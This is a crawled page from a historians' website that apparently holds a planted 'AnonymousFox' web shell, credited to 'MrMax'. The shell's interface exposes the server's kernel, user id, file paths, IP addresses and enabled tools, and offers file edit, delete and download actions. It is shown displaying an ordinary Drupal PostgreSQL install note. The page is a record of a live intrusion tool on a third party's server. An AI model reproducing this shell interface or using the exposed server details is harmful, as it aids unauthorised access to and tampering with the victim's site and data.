Peter and Sheila Forrest

Historians & Writers

Contact Us

Contact Us

MrMax
  

AnonymousFox Shell

 Apache
 Linux bsd41.qnetau.com 2.6.32-696.13.2.el6.x86_64 #1 SMP Thu Oct 5 21:22:16 UTC 2017 x86_64
 uid=1330(forrest) gid=766(forrest) groups=766(forrest)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: ON | WGet: ON
  >  / hsphere / local / home / forrest / forrest.net.au /
server ip : 202.146.211.8

your ip : 54.158.55.5

H O M E


Filename/hsphere/local/home/forrest/forrest.net.au/INSTALL.pgsql.txt
Size1.83 kb
Permissionrw-r--r--
Ownerforrest : forrest
Create time24-Feb-2015 22:32
Last modified07-Feb-2012 10:26
Last accessed19-Oct-2017 14:46
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image

CREATE THE PostgreSQL DATABASE
------------------------------

Note that the database must be created with UTF-8 (Unicode) encoding.

1. CREATE DATABASE USER

This step is only necessary if you don't already have a user set up (e.g., by
your host), or want to create a new user for use with Drupal only. The
following command creates a new user named 'username' and asks for a password
for that user:

createuser --pwprompt --encrypted --no-createrole --no-createdb username

If there are no errors, then the command was successful.

2. CREATE DRUPAL DATABASE

This step is only necessary if you don't already have a database set up
(e.g., by your host) or want to create a new database for use with Drupal
only. The following command creates a new database named 'databasename',
which is owned by the previously created 'username':

createdb --encoding=UTF8 --owner=username databasename

If there are no errors, then the command was successful.

3. CREATE SCHEMA OR SCHEMAS (Optional advanced step)

Drupal will run across different schemas within your database if you so wish.
By default, Drupal runs inside the 'public' schema but you can use $db_prefix
inside settings.php to define a schema for Drupal to run inside of, or
specify tables that are shared inside of a separate schema. Drupal will not
create schemas for you. In fact, the user that Drupal runs as should not be
allowed to do this. You'll need to execute the SQL below as a superuser,
replace 'username' with the username that Drupal uses to connect to
PostgreSQL, and replace 'schema_name' with a schema name you wish to use,
such as 'shared':

CREATE SCHEMA schema_name AUTHORIZATION username;

Do this for as many schemas as you need. See default.settings.php for
instructions on how to set which tables use which schemas.

Coder : MrMax

Send us an email